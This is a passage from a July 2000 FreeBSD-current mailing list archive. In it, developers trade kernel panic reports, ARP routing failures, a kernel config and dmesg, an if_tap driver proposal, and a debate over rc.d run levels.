shadowmere.student.utwente.nl (Postfix, from userid 1000) id 920BE2020; Mon, 10 Jul 2000 23:13:50 +0200 (CEST) Date: Mon, 10 Jul 2000 23:13:50 +0200 From: Pascal Hofstee To: Matthew Jacob Cc: current@freebsd.org Subject: Re: freeing free cluster? Message-ID: <20000710231350.A59526@shadowmere.student.utwente.nl> Reply-To: daeron@shadowmere.student.utwente.nl References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from mjacob@feral.com on Mon, Jul 10, 2000 at 01:15:20PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jul 10, 2000 at 01:15:20PM -0700, Matthew Jacob wrote: > > > -current, as of ~today: > > FreeBSD/alpha (farrago.feral.com) (console) > > login: panic: freeing free cluster > panic > Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffe000a2019f0> > I am getting a very strong suspicion, this is the same bug i have reported earlier as well as DES did in another message. Anyone here that is able to shed some more light on it ? -- Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > Managers know it must be good because the programmers hate it so much. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 14:16:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 8492237B515 for ; Mon, 10 Jul 2000 14:16:43 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id OAA29458; Mon, 10 Jul 2000 14:16:39 -0700 Date: Mon, 10 Jul 2000 14:14:45 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Pascal Hofstee Cc: current@freebsd.org Subject: Re: freeing free cluster? In-Reply-To: <20000710231350.A59526@shadowmere.student.utwente.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Nope, not for me. I probably have a core dump, but because gdb is busted for alpha in -current, it won't say much. On Mon, 10 Jul 2000, Pascal Hofstee wrote: > On Mon, Jul 10, 2000 at 01:15:20PM -0700, Matthew Jacob wrote: > > > > > > -current, as of ~today: > > > > FreeBSD/alpha (farrago.feral.com) (console) > > > > login: panic: freeing free cluster > > panic > > Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffe000a2019f0> > > > > I am getting a very strong suspicion, this is the same bug i have reported > earlier as well as DES did in another message. Anyone here that is able to > shed some more light on it ? > > -- > Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > > Managers know it must be good because the programmers hate it so much. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 15:54:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id B931C37B52A; Mon, 10 Jul 2000 15:54:12 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.9.3/8.9.3) with ESMTP id PAA29771; Mon, 10 Jul 2000 15:53:53 -0700 Date: Mon, 10 Jul 2000 15:51:58 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: "Rodney W. Grimes" Cc: Mark Murray , wpaul@FreeBSD.ORG, current@FreeBSD.ORG Subject: Re: if_de as a module... In-Reply-To: <200007102043.NAA00862@gndrsh.dnsmgr.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This doesn't happen for me except in this (loadable de) case. On Mon, 10 Jul 2000, Rodney W. Grimes wrote: > > > Umm- started okay: > > : > > > and then died: > > > > > > rplookup 192.67.166.155 failed: could not allocate llinfo > > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > > arplookup 192.67.166.155 failed: could not allocate llinfo > > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > > arplookup 192.67.166.155 failed: could not allocate llinfo > > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > > NFS Portmap: RPC: Port mapper failure - RPC: Timed out > > > > Bleagh. Fooey. :-( > > > > Biiilll!!?? :-) > > I don't think this is Bill. What does the output of > netstat -rn | grep 192.67.166.155 look like when the > above is occuring? > > I am having similiar problems here, I just upgraded one of our > main boarder routers and started getting this stuff. Is what > is happening is a host specific route is getting installed > by gated, and this is causing arplookup/arpresolve to have > problems when it tries to go create the llinfo. > > We just upgraded this router from 3.4-stable of January vintage > to 4.0-STABLE FreeBSD July 2 vintage. I have seen this in the > past, and though it was long gone, but now that I am looking > at it again I see what is happening, > > The message we get is the same as yours: > Jul 9 17:37:02 br1 /kernel: arplookup 205.238.40.30 failed: could not allocate > llinfo > Jul 9 17:37:02 br1 /kernel: arpresolve: can't allocate llinfo for 205.238.40.30 > rt > > Now if I look in my routing table when this is going on (sorry don't have > it saved off anyplace I can cut and paste from right now) I see a host > route out another interface!!! Yes, we have a large ospf network, yes > that route will work, no it is not the right route damn it, there is a > direct route via an interface, and we are trying to use it, but something > is blowing chunks in rtalloc1. > > -- > Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 16:57:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 8715937B6B9; Mon, 10 Jul 2000 16:57:33 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id QAA01910; Mon, 10 Jul 2000 16:57:18 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <200007102357.QAA01910@gndrsh.dnsmgr.net> Subject: Re: if_de as a module... In-Reply-To: from Matthew Jacob at "Jul 10, 2000 03:51:58 pm" To: mjacob@feral.com Date: Mon, 10 Jul 2000 16:57:17 -0700 (PDT) Cc: mark@grondar.za (Mark Murray), wpaul@FreeBSD.ORG, current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > This doesn't happen for me except in this (loadable de) case. Well a bit more digging... netstat -rn 205.238.40.30 205.238.40.30 UHW 18 2563 dc0 860 Now why oh why is gated and/or the kernel creating that route when ifconfig dc0 dc0: flags=8843 mtu 1500 inet 205.238.40.1 netmask 0xffffffe0 broadcast 205.238.40.31 ether 00:80:c8:57:cc:45 media: autoselect (10baseT/UTP) status: active supported media: autoselect 100baseTX 100baseTX 10baseT/UTP 10baseT/UTP none Now, 205.238.40.30 is a router, this route is visible in ospf, here on the originating box: 205.238.40.30/32 - local CP 0 0 11049 11702 and here on another gated/FreeBSD box: 205.238.40.30 198.145.92.1 UGH 1 932 de1 and here from a Cisco: O 205.238.40.30/32 [110/440] via 205.238.44.1, 00:07:33, Ethernet0 Now, what in the hell is deleting the normal arp: ? (205.238.40.30) at 0:c0:7b:6a:28:f0 [ethernet] and replacing it with the above 205.238.40.30/205.238.40.30 route. I've even done an ``arp -S 205.238.40.30 0:c0:7b:6a:28:f0'' to create a ``permanant'' entry and IT gets replaced!!! ARGHHH!!!! > On Mon, 10 Jul 2000, Rodney W. Grimes wrote: > > > > > Umm- started okay: > > > : > > > > and then died: > > > > > > > > rplookup 192.67.166.155 failed: could not allocate llinfo > > > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > > > arplookup 192.67.166.155 failed: could not allocate llinfo > > > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > > > arplookup 192.67.166.155 failed: could not allocate llinfo > > > > arpresolve: can't allocate llinfo for 192.67.166.155rt > > > > NFS Portmap: RPC: Port mapper failure - RPC: Timed out > > > > > > Bleagh. Fooey. :-( > > > > > > Biiilll!!?? :-) > > > > I don't think this is Bill. What does the output of > > netstat -rn | grep 192.67.166.155 look like when the > > above is occuring? > > > > I am having similiar problems here, I just upgraded one of our > > main boarder routers and started getting this stuff. Is what > > is happening is a host specific route is getting installed > > by gated, and this is causing arplookup/arpresolve to have > > problems when it tries to go create the llinfo. > > > > We just upgraded this router from 3.4-stable of January vintage > > to 4.0-STABLE FreeBSD July 2 vintage. I have seen this in the > > past, and though it was long gone, but now that I am looking > > at it again I see what is happening, > > > > The message we get is the same as yours: > > Jul 9 17:37:02 br1 /kernel: arplookup 205.238.40.30 failed: could not allocate > > llinfo > > Jul 9 17:37:02 br1 /kernel: arpresolve: can't allocate llinfo for 205.238.40.30 > > rt > > > > Now if I look in my routing table when this is going on (sorry don't have > > it saved off anyplace I can cut and paste from right now) I see a host > > route out another interface!!! Yes, we have a large ospf network, yes > > that route will work, no it is not the right route damn it, there is a > > direct route via an interface, and we are trying to use it, but something > > is blowing chunks in rtalloc1. > > > > -- > > Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- Rod Grimes - KD7CAX @ CN85sl - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 17: 0:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 9F01837BA7E for ; Mon, 10 Jul 2000 17:00:26 -0700 (PDT) (envelope-from leifn@neland.dk) Received: (from uucp@localhost) by ns.internet.dk (8.9.3/8.9.3) with UUCP id CAA04653; Tue, 11 Jul 2000 02:00:21 +0200 (CEST) (envelope-from leifn@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.9.3/8.9.3) with SMTP id BAA49324; Tue, 11 Jul 2000 01:50:13 +0200 (CEST) (envelope-from leifn@neland.dk) Message-ID: <005f01bfeac9$9a699500$0e00a8c0@neland.dk> Reply-To: "Leif Neland" From: "Leif Neland" To: "Thomas D. Dean" , References: <200007101801.LAA08016@ix.netcom.com> Subject: Re: Current Spontaneous Reboot Date: Tue, 11 Jul 2000 01:47:10 +0200 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just a "me too" While telnetting to another machine, I suddenly got a "Page not present in supervisor mode", and a reference to rc5des. Unfortunately I hit the "any-key" too fast to provide any more info. Leif ----- Original Message ----- From: "Thomas D. Dean" To: Sent: Monday, July 10, 2000 8:01 PM Subject: Current Spontaneous Reboot > I just experienced a sudden reboot. > > I am running -current SMP. Cvsup, make world, rebuild kernel 20000709. > > # uname -a > FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ > Sun Jul 9 18:05:19 PDT 2000 \ > root@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 > > The system was very lightly loaded. I was running emacs creating a > shell script. When the reboot happened, I was attempting to go up the > tcsh history chain. I pressed the up arrow several times and the > system froze for a few seconds and rebooted. It did not drop into the > debugger. > > I have > options DDB > options KTRACE #kernel tracing > in the config. > > After the 'world and new kernel on 20000709, I did a 'make world' on > 20000710, testing stability. No problems, although the time increased > by an hour to 9 hours. > > tomdean > > ===== config ==================================== > # > # CELEBRIS-SMP > # > > machine i386 > cpu I586_CPU > ident CELEBRIS > hints "CELEBRIS.hints" > maxusers 50 > > > ################################################################## > # > # options from mptable > # > #MPTable, version 2.0.11 > # > #-------------------------------------------------------------------------- > # > #MP Floating Pointer Structure: > # > # #location: EBDA > # physical address: 0x0009fc30 > # signature: '_MP_' > # length: 16 bytes > # version: 1.1 > # checksum: 0x55 > # mode: Virtual Wire > # > #-------------------------------------------------------------------------- > # > # MP default config type: 5 > # > # bus: ISA+PCI, APIC: Integrated > # > #-------------------------------------------------------------------------- > # > # SMP kernel config file options: > > # Required: > options SMP # Symmetric MultiProcessor Kernel > options APIC_IO # Symmetric (APIC) I/O > > # Lets always enable the kernel debugger for SMP. > options DDB > #makeoptions DEBUG=-g > > > ################################################################## > > options INET #InterNETworking > options FFS #Berkeley Fast Filesystem > options FFS_ROOT #FFS usable as root device > options NFS #Network Filesystem > options MSDOSFS #MSDOS Filesystem > options "CD9660" #ISO 9660 Filesystem > options PROCFS #Process filesystem > options "COMPAT_43" #Compatible with BSD 4.3 [KEEP THIS!] > options SCSI_DELAY=10000 #Be pessimistic about Joe SCSI device > options UCONSOLE #Allow users to grab the console > > options MSGBUF_SIZE=(10*PAGE_SIZE) #System Message Buffer Size > > options SYSVSHM # for X11 > options SYSVSEM # for X11 > options SYSVMSG # for X11 > > options RANDOMDEV #entropy device > > #options PSM_CHECKSYNC # resync when switch console modes > > #config kernel root on da1 > > device isa > device pci > options COMPAT_OLDPCI #Use PCI shims and glue for old drivers > > > device fdc > # > # FDC_DEBUG enables floppy debugging. Since the debug output is huge, you > # gotta turn it actually on by setting the variable fd_debug with DDB, > # however. > options FDC_DEBUG > > #tape ft0 at fdc0 drive 2 > > device ncr > > device scbus > > device da # SCSI Direct Access Device > > device sa # SCSI Tape > > device cd #Only need one of these, the code dynamically grows > > # The keyboard device; it controlls the keyboard and the PS/2 mouse. > device atkbdc > > # The AT keyboard > device atkbd > > # `flags' for atkbd: > # 0x01 Force detection of keyboard, else we always assume a keyboard > # 0x02 Don't reset keyboard, useful for some newer ThinkPads > # 0x04 Old-style (XT) keyboard support, useful for older ThinkPads > > device psm > > # The video card driver. > device vga > > # Splash screen at start up! Screen savers require this too. > device splash > > # syscons is the default console driver, resembling an SCO console > device sc > > device npx > > device sio > device sio > > # Parallel-Port Bus > # nlpt Parallel Printer > device ppbus > device lpt > device ppc > > > device de # DEC DC21040 Ethernet Adapter > > device loop > device ether > device tun 1 > device bpf 4 #Berkeley packet filter > device vn #Vnode driver (turns a file into a device) > device snp 3 #Snoop device - to look at pty/vty/etc.. > device pty 16 > device gzip # Exec gzipped a.out's > > # KTRACE enables the system-call tracing facility ktrace(2). > # This adds 4 KB bloat to your kernel, and slightly increases > # the costs of each syscall. > options KTRACE #kernel tracing > > ===== dmesg ==================================== > Copyright (c) 1992-2000 The FreeBSD Project. > Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 > The Regents of the University of California. All rights reserved. > FreeBSD 5.0-CURRENT #0: Sun Jul 9 18:05:19 PDT 2000 > root@celebris:/usr/src/sys/compile/CELEBRIS-SMP > Timecounter "i8254" frequency 1193182 Hz > CPU: Pentium/P54C (102.68-MHz 586-class CPU) > Origin = "GenuineIntel" Id = 0x525 Stepping = 5 > Features=0x3bf > real memory = 100663296 (98304K bytes) > avail memory = 94851072 (92628K bytes) > Programming 16 pins in IOAPIC #0 > IOAPIC #0 intpin 2 -> irq 0 > FreeBSD/SMP: Multiprocessor motherboard > cpu0 (BSP): apic id: 0, version: 0x00030010, at 0xfee00000 > cpu1 (AP): apic id: 1, version: 0x00030010, at 0xfee00000 > io0 (APIC): apic id: 2, version: 0x000f0011, at 0xfec00000 > Preloaded elf kernel "kernel" at 0xc02fb000. > Preloaded userconfig_script "/boot/kernel.conf" at 0xc02fb09c. > Intel Pentium detected, installing workaround for F00F bug > npx0: on motherboard > npx0: INT 16 interface > pcib0: on motherboard > pci0: on pcib0 > pci0: at 0.0 > ncr0: port 0xec00-0xecff mem 0xfedfbf00-0xfedfbfff irq 11 at device 1.0 on pci0 > isab0: at device 2.0 on pci0 > isa0: on isab0 > pci0: at 6.0 irq 9 > de0: port 0xe880-0xe8ff mem 0xfedfbe80-0xfedfbeff irq 10 at device 8.0 on pci0 > de0: DEC DE450-CA 21041 [10Mb/s] pass 1.1 > de0: address 00:00:f8:02:76:db > vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 > sc0: on isa0 > sc0: VGA <16 virtual consoles, flags=0x200> > atkbdc0: at port 0x60,0x64 on isa0 > atkbd0: irq 1 on atkbdc0 > psm0: irq 12 on atkbdc0 > psm0: model Generic PS/2 mouse, device ID 0 > fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 > fdc0: FIFO enabled, 8 bytes threshold > fd0: <1440-KB 3.5" drive> on fdc0 drive 0 > ppc0: at port 0x378-0x37b irq 7 on isa0 > ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode > lpt0: on ppbus0 > lpt0: Interrupt-driven port > isa0: <@@@0000> found > sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 > sio0: type 16550A > sio1 at port 0x2f8-0x2ff irq 3 on isa0 > sio1: type 16550A > isa0: <@@@0000> found > isa0: found > unknown: can't assign resources > unknown: can't assign resources > unknown: <16550 compatible COM device> can't assign resources > unknown: <16550 compatible COM device> can't assign resources > unknown: can't assign resources > isa0: found > unknown: can't assign resources > APIC_IO: Testing 8254 interrupt delivery > APIC_IO: routing 8254 via IOAPIC #0 intpin 2 > Waiting 10 seconds for SCSI devices to settle > SMP: AP CPU #1 Launched! > cd0 at ncr0 bus 0 target 5 lun 0 > cd0: Removable CD-ROM SCSI-2 device > cd0: 4.237MB/s transfers (4.237MHz, offset 8) > cd0: cd present [295811 x 2048 byte records] > da0 at ncr0 bus 0 target 0 lun 0 > da0: Fixed Direct Access SCSI-2 device > da0: 10.000MB/s transfers (10.000MHz, offset 8) > da0: 1042MB (2134305 512 byte sectors: 255H 63S/T 132C) > da2 at ncr0 bus 0 target 2 lun 0 > da2: Fixed Direct Access SCSI-2 device > da2: 10.000MB/s transfers (10.000MHz, offset 8), Tagged Queueing Enabled > da2: 1029MB (2109376 512 byte sectors: 255H 63S/T 131C) > Mounting root from ufs:/dev/da1s1a > da1 at ncr0 bus 0 target 1 lun 0 > da1: Fixed Direct Access SCSI-3 device > da1: 10.000MB/s transfers (10.000MHz, offset 8), Tagged Queueing Enabled > da1: 8748MB (17916240 512 byte sectors: 255H 63S/T 1115C) > WARNING: / was not properly dismounted > de0: enabling BNC port > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 18: 2:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id AB97437B985 for ; Mon, 10 Jul 2000 18:02:30 -0700 (PDT) (envelope-from bp@butya.kz) Received: from bp (helo=localhost) by relay.butya.kz with local-esmtp (Exim 3.15 #1) id 13BoRE-000OUb-00; Tue, 11 Jul 2000 08:02:16 +0700 Date: Tue, 11 Jul 2000 08:02:16 +0700 (ALMST) From: Boris Popov To: "Yevmenkin, Maksim N, CSCIO" Cc: "'freebsd-current@freebsd.org'" Subject: Re: New version of TAP driver for FreeBSD -current In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000, Yevmenkin, Maksim N, CSCIO wrote: > Long time back i sent request to the list and asked about including this > driver into the source tree. i still did not receive any reply. Some people > seems to be using this driver for Ethernet tunneling (with VTUN software). > Somebody even requested for OpenBSD port. So it would be really nice to > hear from one of the commiters. You might want to post request for review to the net@ list. If inclusion of if_tap driver will be considered as reasonable I can bring it in the tree. -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 18:16:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from software.co.jp (mail.software.co.jp [211.5.98.99]) by hub.freebsd.org (Postfix) with SMTP id 56D4C37BA12 for ; Mon, 10 Jul 2000 18:16:06 -0700 (PDT) (envelope-from noriyosi@software.co.jp) Received: (qmail 4855 invoked from network); 11 Jul 2000 01:11:13 -0000 Received: from proxy.ksy.software.co.jp (HELO z505nr.software.co.jp) (nobody@211.5.235.178) by mail.software.co.jp with SMTP; 11 Jul 2000 01:11:13 -0000 Date: Tue, 11 Jul 2000 10:15:35 +0900 Message-ID: <86em5131s8.wl@software.co.jp> From: Noriyoshi Kawano To: freebsd-current@FreeBSD.ORG Subject: Re: Current Spontaneous Reboot In-Reply-To: In your message of "Tue, 11 Jul 2000 01:47:10 +0200" <005f01bfeac9$9a699500$0e00a8c0@neland.dk> References: <200007101801.LAA08016@ix.netcom.com> <005f01bfeac9$9a699500$0e00a8c0@neland.dk> User-Agent: Wanderlust/2.3.0 (Roam) REMI/1.14.1 (=?ISO-8859-4?Q?Mushigawa?= =?ISO-8859-4?Q?=F2sugi?=) Chao/1.14.1 (=?ISO-8859-4?Q?Rokujiz=F2?=) APEL/10.2 Emacs/20.7 (i386--freebsd) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by REMI 1.14.1 - =?ISO-8859-4?Q?=22Mushigawa=F2?= =?ISO-8859-4?Q?sugi=22?=) Content-Type: text/plain; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Me too. But not SMP. ----- dmesg ---------------- kernel trap 9 with interrupts disabled Fatal trap 9: general protection fault while in kernel mode instruction pointer = 0x8:0xc030ada4 stack pointer = 0x10:0xcb6b1c30 frame pointer = 0x10:0xcb6b1c80 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = resume, IOPL = 3 current process = 298 (XF86_SVGA.xtt) interrupt mask = trap number = 9 panic: general protection fault syncing disks... 78 Fatal double fault: eip = 0xc02d8bfd esp = 0xcb6afffc ebp = 0xcb6b0090 panic: double fault Uptime: 1h20m34s ---------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 18:45: 3 2000 Delivered-To: freebsd-current@freebsd.org Received: from camus.cybercable.fr (camus.cybercable.fr [212.198.0.200]) by hub.freebsd.org (Postfix) with SMTP id 36A2037BACA for ; Mon, 10 Jul 2000 18:44:55 -0700 (PDT) (envelope-from clefevre%no-spam@citeweb.net) Received: (qmail 12526169 invoked from network); 11 Jul 2000 01:44:50 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by camus.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 11 Jul 2000 01:44:50 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id DAA01168; Tue, 11 Jul 2000 03:44:49 +0200 (CEST) (envelope-from clefevre%no-spam@citeweb.net) Posted-Date: Tue, 11 Jul 2000 03:44:49 +0200 (CEST) To: Andrzej Bialecki Cc: clefevre@citeweb.net, "Daniel C. Sobral" , freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 11 Jul 2000 03:44:48 +0200 In-Reply-To: Andrzej Bialecki's message of "Mon, 10 Jul 2000 22:35:16 +0200 (CEST)" Message-ID: Lines: 21 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Canyonlands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andrzej Bialecki writes: > On 10 Jul 2000, Cyrille Lefevre wrote: > > > > and my favorite substitute proposal: > > > > > > http://www.roguetrader.com/~brandon/sas/. > > > > effectively, the last one is interresting. a major problem w/ this one is the > > use of "perl" which is not available a boot time since it is located in /usr. > > If we find out that it's very interesting, it should be implemented as > part of init(8). (hint: init is NOT Perl based ;-) sould be a too big job for init ? mush better to be an external program a la /etc/rc, no ? Cyrille. -- home:mailto:clefevre%no-spam@citeweb.net Supprimer "%no-spam" pour me repondre. work:mailto:Cyrille.Lefevre%no-spam@edf.fr Remove "%no-spam" to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 19:30:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from falla.videotron.net (falla.videotron.net [205.151.222.106]) by hub.freebsd.org (Postfix) with ESMTP id 4D9F837BB3C for ; Mon, 10 Jul 2000 19:30:39 -0700 (PDT) (envelope-from bmilekic@dsuper.net) Received: from modemcable009.62-201-24.mtl.mc.videotron.net ([24.201.62.9]) by falla.videotron.net (Sun Internet Mail Server sims.3.5.1999.12.14.10.29.p8) with ESMTP id <0FXI00AG8HIZNQ@falla.videotron.net> for current@FreeBSD.ORG; Mon, 10 Jul 2000 22:28:12 -0400 (EDT) Date: Mon, 10 Jul 2000 22:30:24 -0400 (EDT) From: Bosko Milekic Subject: Re: freeing free cluster? In-reply-to: <20000710231350.A59526@shadowmere.student.utwente.nl> X-Sender: bmilekic@jehovah.technokratis.com To: Pascal Hofstee Cc: Matthew Jacob , current@FreeBSD.ORG Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to update and isolate the external object reference stuff and am getting page faults in nfs_writebp. Very odd, could be freeing free cluster problem, will perform explicit check and post details. Rebuilding regular non-modified kernel to see if I stumble upon it. On Mon, 10 Jul 2000, Pascal Hofstee wrote: > On Mon, Jul 10, 2000 at 01:15:20PM -0700, Matthew Jacob wrote: > > > > > > -current, as of ~today: > > > > FreeBSD/alpha (farrago.feral.com) (console) > > > > login: panic: freeing free cluster > > panic > > Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffe000a2019f0> > > > > I am getting a very strong suspicion, this is the same bug i have reported > earlier as well as DES did in another message. Anyone here that is able to > shed some more light on it ? > > -- > Pascal Hofstee < daeron @ shadowmere . student . utwente . nl > > Managers know it must be good because the programmers hate it so much. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > -- Bosko Milekic * Voice/Mobile: 514.865.7738 * Pager: 514.921.0237 bmilekic@technokratis.com * http://www.technokratis.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 19:46:30 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom1-233.telepath.com [216.14.1.233]) by hub.freebsd.org (Postfix) with SMTP id 75A2037B55B for ; Mon, 10 Jul 2000 19:46:21 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 52885 invoked by uid 100); 11 Jul 2000 02:45:43 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14698.35415.557998.369712@guru.mired.org> Date: Mon, 10 Jul 2000 21:45:43 -0500 (CDT) To: "Daniel C. Sobral" Cc: Mike Meyer , clefevre@citeweb.net, freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <3969D84A.D23A84B6@newsguy.com> References: <14695.51428.314772.426883@guru.mired.org> <14697.31325.422020.803101@guru.mired.org> <3969D84A.D23A84B6@newsguy.com> X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Daniel C. Sobral writes: > Mike Meyer wrote: > The multiple levels are there to deal with changes in state. In BSD, for > instance, we have single user/multi-user. A number of other variations > can exist, both in heavy duty servers where you might want to bring > certain services down for upgrade and then back up, and "desktop" > machines, such as notebooks where you can be stand-alone, docked into > different networks (eg. home/work). I'm familiar with why mutliple levels exist. I've never run into a system that had a real use for more than three run levels - powered off, maintenance, and up - though I've not dealt with notebooks. Needing to shut down some services in the up mode, or start some in the maintenance mode, is why having "start" and "stop" arguments to the scripts in rc.d is nice. If you find yourself needing to change to the state on a fixed bag of servers regularly, that feature on the scripts allows any admin worth hiring to write scripts to go back and forth easier than they can configure the SysV run levels. This doesn't work very well for the notebook example, though. > Thing is, SysV does it in a very ugly way, and not flexible enough > either. The functionality SysV provides isn't nearly worth the complexity. That was why I decided not to bother with it. Supporting multiple run levels adds lots of complexity. Tools to change run levels, hooks into init, etc. Possibly a simpler system - "run states" - which aren't layered like the SysV run levels would provide most of the functionality without anywhere near the complexity. The state transitions are all from single-user (where rc.shutdown takes you) to and from different up states, using different pairs of directories to rc the system. In this case, the K* and S* filenames make more sense, so there's only one directory per state. This would handle the notebook, and anything that required some set of services to be turned on from 